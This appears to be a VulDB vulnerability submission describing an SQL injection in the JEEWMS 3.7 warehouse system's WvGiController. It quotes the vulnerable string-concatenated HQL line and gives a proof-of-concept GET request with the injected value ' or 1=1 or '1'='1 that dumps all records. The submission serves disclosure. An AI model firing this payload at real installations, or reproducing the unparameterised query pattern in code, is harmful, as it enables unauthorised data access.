| Titel | erzhongxmu JEEWMS 3.7 SQL Injection |
|---|
| Beschreibung | JEEWMS v3.7 WvGiController (出货管理/outbound goods interface) concatenates user-supplied searchstr parameters directly into HQL queries without parameterization, allowing authenticated attackers to alter query logic and dump data.
Vulnerable code (WvGiController.list, line 99):
hql = hql + " and orderId = '" + searchstr + "'" + " or imCusCode like '%" + searchstr + "%'";
A request with searchstr=' or 1=1 or '1'='1 returns ALL wv_gi rows instead of the filtered set (verified live: normal request returns 1 record, injected request returns all 3 records in the response JSON "obj" array).
PoC:
GET /wvGiController.do?username=test&searchstr=' or 1=1 or '1'='1 -> all records returned in "obj"
GET /wvGiController.do?username=test&searchstr=ORD001 -> only matching record
Vulnerable code: src/main/java/com/zzjee/wmapi/controller/WvGiController.java:99 |
|---|
| Quelle | ⚠️ https://github.com/erzhongxmu/JEEWMS |
|---|
| Benutzer | Lib0gus (UID 101005) |
|---|
| Einreichung | 04.09.2026 11:22 (vor 2 Monaten) |
|---|
| Moderieren | 11.10.2026 09:54 (1 month later) |
|---|
| Status | Akzeptiert |
|---|
| VulDB Eintrag | 416557 [erzhongxmu JEEWMS bis 2026.09.27-W39 WvGiController.java WvGiController.list searchstr SQL Injection] |
|---|
| Punkte | 20 |
|---|